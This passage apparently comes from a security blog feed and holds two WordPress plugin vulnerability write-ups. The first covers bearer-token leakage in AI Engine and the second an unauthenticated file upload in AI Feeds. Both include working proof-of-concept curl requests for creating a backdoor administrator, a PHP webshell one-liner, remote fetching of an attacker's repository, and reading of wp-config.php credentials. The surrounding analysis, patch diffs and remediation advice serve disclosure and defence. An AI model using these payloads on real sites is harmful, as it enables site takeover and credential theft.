&lt;li&gt;Attacker calls &lt;code&gt;GET /wp-json/&lt;/code&gt; (unauthenticated) → WordPress returns a JSON object listing all registered REST routes, including &lt;code&gt;mcp/v1/&amp;lt;SECRET_TOKEN&amp;gt;/sse&lt;/code&gt; and &lt;code&gt;mcp/v1/&amp;lt;SECRET_TOKEN&amp;gt;/messages&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Attacker parses the JSON response and extracts &lt;code&gt;&amp;lt;SECRET_TOKEN&amp;gt;&lt;/code&gt; from the route path&lt;/li&gt;
&lt;li&gt;Attacker sends a JSON-RPC &lt;code&gt;tools/call&lt;/code&gt; POST request to &lt;code&gt;/wp-json/mcp/v1/sse&lt;/code&gt; with &lt;code&gt;Authorization: Bearer &amp;lt;SECRET_TOKEN&amp;gt;&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;auth_via_bearer_token()&lt;/code&gt; filter (lines 144–217) validates the token via &lt;code&gt;hash_equals()&lt;/code&gt;, sets the current user to the site administrator (&lt;code&gt;wp_set_current_user($admin-&amp;gt;ID)&lt;/code&gt;), and grants full access&lt;/li&gt;
&lt;li&gt;Attacker calls the &lt;code&gt;wp_create_user&lt;/code&gt; MCP tool (defined in &lt;code&gt;labs/mcp-core.php&lt;/code&gt;, line 64) with &lt;code&gt;role=administrator&lt;/code&gt; to create a backdoor admin account&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;wp_create_user&lt;/code&gt; tool implementation (&lt;code&gt;labs/mcp-core.php&lt;/code&gt;, lines 634–648):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case &apos;wp_create_user&apos;:
  $data = [
    &apos;user_login&apos; =&amp;gt; sanitize_user( $a[&apos;user_login&apos;] ),
    &apos;user_email&apos; =&amp;gt; sanitize_email( $a[&apos;user_email&apos;] ),
    &apos;user_pass&apos;  =&amp;gt; $a[&apos;user_pass&apos;] ?? wp_generate_password( 12, true ),
    &apos;display_name&apos; =&amp;gt; sanitize_text_field( $a[&apos;display_name&apos;] ?? &apos;&apos; ),
    &apos;role&apos; =&amp;gt; sanitize_key( $a[&apos;role&apos;] ?? get_option( &apos;default_role&apos;, &apos;subscriber&apos; ) ),
  ];
  $uid = wp_insert_user( $data );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No role restriction prevents an attacker from passing &lt;code&gt;&apos;role&apos; =&amp;gt; &apos;administrator&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;register_rest_route()&lt;/code&gt; calls for the No-Auth URL endpoints do not set &lt;code&gt;&apos;show_in_index&apos; =&amp;gt; false&lt;/code&gt;. WordPress&apos;s REST API discovery index (&lt;code&gt;/wp-json/&lt;/code&gt;) enumerates all registered routes by default. Because the secret bearer token is embedded in the route path itself, WordPress exposes it directly in the public discovery response.&lt;/p&gt;
&lt;h3&gt;Failed Security Controls&lt;/h3&gt;
&lt;p&gt;The authentication design for the No-Auth URL feature is fundamentally flawed: the bearer token is both the secret and the URL path. Keeping the token secret meant hoping no one would discover the URL. However, WordPress&apos;s REST API index makes all route paths publicly accessible, which completely breaks that idea. Once the token is known, the &lt;code&gt;auth_via_bearer_token()&lt;/code&gt; function treats it as fully valid and elevates the session to administrator level.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated remote attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Extract the MCP bearer token from the public REST API index&lt;/li&gt;
&lt;li&gt;Gain administrator-level access to the WordPress site&lt;/li&gt;
&lt;li&gt;Create new administrator accounts (persistent backdoor)&lt;/li&gt;
&lt;li&gt;Read, modify, or delete any WordPress content, settings, or users&lt;/li&gt;
&lt;li&gt;Potentially execute arbitrary code if other MCP tools or plugins permit it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;ai-engine&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.1.3&lt;/li&gt;
&lt;li&gt;The &quot;No-Auth URL&quot; option enabled in AI Engine settings (Settings → MCP → Enable No-Auth URL)&lt;/li&gt;
&lt;li&gt;A bearer token configured in AI Engine MCP settings&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Discover the bearer token via REST API index&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Call the public WordPress REST API discovery endpoint. No authentication is required.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s https://TARGET-SITE.com/wp-json/ | python3 -m json.tool | grep &quot;mcp/v1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the response, look for routes matching the pattern &lt;code&gt;mcp/v1/&amp;lt;TOKEN&amp;gt;/sse&lt;/code&gt;. The token is the path segment between &lt;code&gt;mcp/v1/&lt;/code&gt; and &lt;code&gt;/sse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Example output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;mcp\/v1\/s3cr3t-b34r3r-t0k3n\/sse&quot;: { ... },
&quot;mcp\/v1\/s3cr3t-b34r3r-t0k3n\/messages&quot;: { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extract &lt;code&gt;s3cr3t-b34r3r-t0k3n&lt;/code&gt; as the bearer token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Verify token validity against the authenticated SSE endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the extracted token as a Bearer token against the standard (non-No-Auth) MCP endpoint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H &quot;Authorization: Bearer s3cr3t-b34r3r-t0k3n&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;initialize&quot;,&quot;params&quot;:{&quot;protocolVersion&quot;:&quot;2025-06-18&quot;,&quot;clientInfo&quot;:{&quot;name&quot;:&quot;test&quot;,&quot;version&quot;:&quot;1.0&quot;}}}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A valid JSON-RPC &lt;code&gt;result&lt;/code&gt; response confirms the token is accepted and administrator access is granted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: List available MCP tools&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H &quot;Authorization: Bearer s3cr3t-b34r3r-t0k3n&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:2,&quot;method&quot;:&quot;tools/list&quot;,&quot;params&quot;:{}}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response lists all available tools, including &lt;code&gt;wp_create_user&lt;/code&gt;, &lt;code&gt;wp_update_user&lt;/code&gt;, &lt;code&gt;wp_delete_post&lt;/code&gt;, and many others.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Create a new administrator account&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H &quot;Authorization: Bearer s3cr3t-b34r3r-t0k3n&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{
    &quot;jsonrpc&quot;: &quot;2.0&quot;,
    &quot;id&quot;: 3,
    &quot;method&quot;: &quot;tools/call&quot;,
    &quot;params&quot;: {
      &quot;name&quot;: &quot;wp_create_user&quot;,
      &quot;arguments&quot;: {
        &quot;user_login&quot;: &quot;backdoor-admin&quot;,
        &quot;user_email&quot;: &quot;attacker@evil.com&quot;,
        &quot;user_pass&quot;: &quot;Str0ngP@ssword!&quot;,
        &quot;role&quot;: &quot;administrator&quot;
      }
    }
  }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The plugin creates a new WordPress user with administrator role. The attacker now has persistent admin access to the WordPress site and can log in via &lt;code&gt;wp-admin&lt;/code&gt; using the credentials they specified.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After executing Step 4, verify the new account exists:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
  -H &quot;Authorization: Bearer s3cr3t-b34r3r-t0k3n&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{
    &quot;jsonrpc&quot;: &quot;2.0&quot;,
    &quot;id&quot;: 4,
    &quot;method&quot;: &quot;tools/call&quot;,
    &quot;params&quot;: {
      &quot;name&quot;: &quot;wp_get_users&quot;,
      &quot;arguments&quot;: {&quot;search&quot;: &quot;backdoor-admin&quot;}
    }
  }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or log in to the WordPress admin panel at &lt;code&gt;https://TARGET-SITE.com/wp-admin&lt;/code&gt; with &lt;code&gt;backdoor-admin&lt;/code&gt; / &lt;code&gt;Str0ngP@ssword!&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;Changes in Version 3.1.4&lt;/h3&gt;
&lt;p&gt;Only one file was changed: &lt;code&gt;labs/mcp.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fix adds &lt;code&gt;&apos;show_in_index&apos; =&amp;gt; false&lt;/code&gt; to each of the three No-Auth URL route registrations.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;show_in_index&lt;/code&gt; argument in &lt;code&gt;register_rest_route()&lt;/code&gt; controls whether a route appears in the WordPress REST API discovery index (&lt;code&gt;/wp-json/&lt;/code&gt;). Setting it to &lt;code&gt;false&lt;/code&gt; prevents WordPress from including these token-embedded routes in the public discovery response. The routes still work for clients that already know the URL. The difference is that the token no longer appears in the public index.&lt;/p&gt;
&lt;p&gt;This is a targeted fix that addresses the information disclosure root cause. It does not change the underlying No-Auth URL design (which still embeds the token in the route path), so the token remains sensitive. It stops being advertised publicly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk:&lt;/strong&gt; If the bearer token was previously exposed (before patching), it should be rotated, because the fix does not invalidate already-leaked tokens. Site owners should regenerate the MCP bearer token after upgrading.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-      register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/sse&apos;, [
-        &apos;methods&apos; =&amp;gt; &apos;GET&apos;,
-        &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_sse&apos; ],
-        &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
-          return $this-&amp;gt;handle_noauth_access( $request );
-        },
-      ] );
+      register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/sse&apos;, [
+        &apos;methods&apos; =&amp;gt; &apos;GET&apos;,
+        &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_sse&apos; ],
+        &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
+          return $this-&amp;gt;handle_noauth_access( $request );
+        },
+        &apos;show_in_index&apos; =&amp;gt; false,
+      ] );

       register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/sse&apos;, [
         &apos;methods&apos; =&amp;gt; &apos;POST&apos;,
         &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_sse&apos; ],
         &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
           return $this-&amp;gt;handle_noauth_access( $request );
         },
+        &apos;show_in_index&apos; =&amp;gt; false,
       ] );

       register_rest_route( $this-&amp;gt;namespace, &apos;/&apos; . $this-&amp;gt;bearer_token . &apos;/messages&apos;, [
         &apos;methods&apos; =&amp;gt; &apos;POST&apos;,
         &apos;callback&apos; =&amp;gt; [ $this, &apos;handle_message&apos; ],
         &apos;permission_callback&apos; =&amp;gt; function ( $request ) {
           return $this-&amp;gt;handle_noauth_access( $request );
         },
+        &apos;show_in_index&apos; =&amp;gt; false,
       ] );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Emiliano Versini&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 4, 2025&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 5, 2025&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 4, 2025&lt;/td&gt;
&lt;td&gt;Patched version 3.1.4 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;ai-engine&lt;/code&gt; plugin to version &lt;strong&gt;3.1.4&lt;/strong&gt; or later. After updating, regenerate the MCP Bearer Token in AI Engine settings (Settings → MCP → Bearer Token) to invalidate any previously leaked tokens.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/ai-engine/trunk/labs/mcp.php#L226&quot;&gt;https://plugins.trac.wordpress.org/browser/ai-engine/trunk/labs/mcp.php#L226&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3380753/ai-engine#file10&quot;&gt;https://plugins.trac.wordpress.org/changeset/3380753/ai-engine#file10&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-12-04T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-13597: Arbitrary File Upload in AI Feeds Plugin</title><link>https://hurayraiit.com/blog/cve-2025-13597-arbitrary-file-upload-in-ai-feeds/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-13597-arbitrary-file-upload-in-ai-feeds/</guid><description>CVE-2025-13597 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the AI Feeds WordPress plugin &lt;= 1.0.11 that allows attackers to overwrite plugin files and achieve remote code execution.</description><pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-13597&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary file upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/ai-feeds/&quot;&gt;AI Feeds&lt;/a&gt; WordPress plugin. In all versions up to and including 1.0.11, an unauthenticated attacker can send a single HTTP request to overwrite plugin files with arbitrary content from a GitHub repository they control, making remote code execution possible with no credentials required.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Feeds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ai-feeds&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-13597&quot;&gt;CVE-2025-13597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-feeds.1.0.11.zip&quot;&gt;&amp;lt;= 1.0.11&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-feeds.1.0.12.zip&quot;&gt;1.0.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;November 25, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ryan-kozak&quot;&gt;Ryan Kozak&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ai-feeds/ai-feeds-1011-unauthenticated-arbitrary-file-upload&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The AI Feeds plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check in the &lt;code&gt;actualizador_git.php&lt;/code&gt; file in all versions up to, and including, 1.0.11. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site&apos;s server, which may make remote code execution possible.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The root cause is a standalone PHP script placed directly in the plugin&apos;s root directory:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;actualizador_git.php&lt;/code&gt; (lines 1–181)&lt;/p&gt;
&lt;p&gt;This file is &lt;strong&gt;not&lt;/strong&gt; included or registered anywhere in the main plugin bootstrap (&lt;code&gt;ai-feeds.php&lt;/code&gt;). It is a raw PHP file sitting inside &lt;code&gt;wp-content/plugins/ai-feeds/&lt;/code&gt;, making it directly accessible over HTTP with no authentication whatsoever.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — GET parameters control the operation (lines 14–17):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$OWNER = $_GET[&apos;owner&apos;] ?? &apos;cibeles&apos;;
$REPO  = $_GET[&apos;repo&apos;]  ?? &apos;svn_ai-feeds&apos;;
$REF   = $_GET[&apos;ref&apos;]   ?? &apos;main&apos;;
$TOKEN = $_GET[&apos;token&apos;] ?? &apos;PON_AQUI_TU_TOKEN_PAT&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All four parameters that control what repository is downloaded are attacker-controlled GET parameters. No nonce, no WordPress capability check, no IP restriction — nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — The only &quot;check&quot; is trivially bypassable (line 26):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ($TOKEN === &apos;&apos; || $TOKEN === &apos;PON_AQUI_TU_TOKEN_PAT&apos;) {
    http_response_code(400);
    exit(&quot;Falta token\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This simply checks that the token is not empty and not the hardcoded placeholder string &lt;code&gt;PON_AQUI_TU_TOKEN_PAT&lt;/code&gt;. An attacker supplies their own valid GitHub Personal Access Token (PAT) — which can be freely obtained — and this check passes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Downloads an arbitrary GitHub repository as ZIP (lines 31, 140–142):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$apiUrl = &quot;https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/&quot; . rawurlencode($REF);
// ...
curl_download($apiUrl, $zip, $TOKEN);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script constructs a GitHub API URL from attacker-supplied parameters, then downloads the ZIP of the attacker&apos;s repository using &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Deletes existing plugin files and overwrites them (lines 158–169):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1) Build manifest of paths to keep (mirror)
$keepSet = build_manifest($rootInsideZip);
foreach ($PRESERVE as $p) { $keepSet[trim($p,&apos;/&apos;)] = true; }

// 2) Delete from CWD everything not in the repo
mirror_delete_extras($cwd, $keepSet, $PRESERVE);

// 3) Copy the repo into CWD
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script builds a manifest of all files in the downloaded repository. It then deletes every file in &lt;code&gt;getcwd()&lt;/code&gt; (the plugin folder) that is &lt;strong&gt;not&lt;/strong&gt; in the attacker&apos;s repo, and copies the attacker&apos;s files in. Because &lt;code&gt;getcwd()&lt;/code&gt; resolves to &lt;code&gt;wp-content/plugins/ai-feeds/&lt;/code&gt;, everything written there is web-accessible.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;actualizador_git.php&lt;/code&gt; was a developer utility script — a GitHub mirror tool. The plugin author used it to push updates from a private GitHub repository directly into a live installation. The plugin author accidentally shipped it with the production build. Because it is a standalone PHP file in the plugin folder:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It is &lt;strong&gt;directly accessible via HTTP&lt;/strong&gt; — no WordPress bootstrap is required.&lt;/li&gt;
&lt;li&gt;It has &lt;strong&gt;no authentication or authorization check&lt;/strong&gt; — no &lt;code&gt;is_user_logged_in()&lt;/code&gt;, no &lt;code&gt;current_user_can()&lt;/code&gt;, no nonce, no secret key.&lt;/li&gt;
&lt;li&gt;All parameters that control what is downloaded and where files are written come from &lt;strong&gt;user-controlled GET input&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Failed Security Controls&lt;/h3&gt;
&lt;p&gt;WordPress&apos;s built-in security model (nonces, capability checks) only protects code that runs &lt;strong&gt;through WordPress&lt;/strong&gt; (i.e., via &lt;code&gt;wp-load.php&lt;/code&gt;). This file bypasses WordPress entirely — it starts with &lt;code&gt;declare(strict_types=1);&lt;/code&gt; and contains no &lt;code&gt;require&lt;/code&gt; of &lt;code&gt;wp-load.php&lt;/code&gt; or &lt;code&gt;ABSPATH&lt;/code&gt; guard. Hitting the file URL directly executes plain PHP with full filesystem access.&lt;/p&gt;
&lt;p&gt;The only control present — the token check on line 26 — is not a security boundary. It merely prevents accidental triggering with no token. An attacker simply supplies any valid GitHub PAT from their own account. That is enough to pass this check and gain full control of the operation.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Overwrite any file in the plugin directory&lt;/strong&gt; with arbitrary content, including PHP webshells&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete legitimate plugin files&lt;/strong&gt; and replace them with malicious versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Achieve Remote Code Execution (RCE)&lt;/strong&gt; by placing a PHP webshell in the plugin directory and accessing it via HTTP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pivot to full WordPress compromise&lt;/strong&gt; — because the plugin directory is inside &lt;code&gt;wp-content&lt;/code&gt;, a placed webshell runs as the web server user and has access to &lt;code&gt;wp-config.php&lt;/code&gt;, the database, and the entire filesystem&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;ai-feeds&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.0.11&lt;/li&gt;
&lt;li&gt;The attacker controls a GitHub repository (public or private) containing a PHP webshell&lt;/li&gt;
&lt;li&gt;The attacker has a GitHub Personal Access Token (PAT) with read access to that repository&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Create a malicious GitHub repository&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a new GitHub repository (e.g., &lt;code&gt;attacker-account/malicious-plugin&lt;/code&gt;) containing a PHP webshell file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Create a file named shell.php in the repository with this content:
# &amp;lt;?php if(isset($_GET[&apos;cmd&apos;])){system($_GET[&apos;cmd&apos;]);}?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Push it to GitHub. Create a PAT at &lt;code&gt;https://github.com/settings/tokens&lt;/code&gt; with &lt;code&gt;repo&lt;/code&gt; (or &lt;code&gt;contents: read&lt;/code&gt;) scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Trigger the vulnerable endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a GET request directly to the &lt;code&gt;actualizador_git.php&lt;/code&gt; file on the target site. No authentication, no cookies, no WordPress session required:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;https://target.com/wp-content/plugins/ai-feeds/actualizador_git.php\
?owner=attacker-account\
&amp;amp;repo=malicious-plugin\
&amp;amp;ref=main\
&amp;amp;token=github_pat_XXXXXXXXXXXXXXXXXXXX&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected server response (confirming success):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Descargando attacker-account/malicious-plugin@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Execute the webshell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The attacker&apos;s &lt;code&gt;shell.php&lt;/code&gt; is now present in the plugin directory and is web-accessible:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;https://target.com/wp-content/plugins/ai-feeds/shell.php?cmd=id&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Escalate — read wp-config.php for database credentials&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;https://target.com/wp-content/plugins/ai-feeds/shell.php\
?cmd=cat+/var/www/html/wp-config.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker achieves unauthenticated Remote Code Execution as the web server user (&lt;code&gt;www-data&lt;/code&gt; or equivalent). From there, they can read &lt;code&gt;wp-config.php&lt;/code&gt;, dump the database (including all user password hashes), and create a new administrator account. The site is fully compromised.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After Step 2, verify the webshell is in place:&lt;/p&gt;
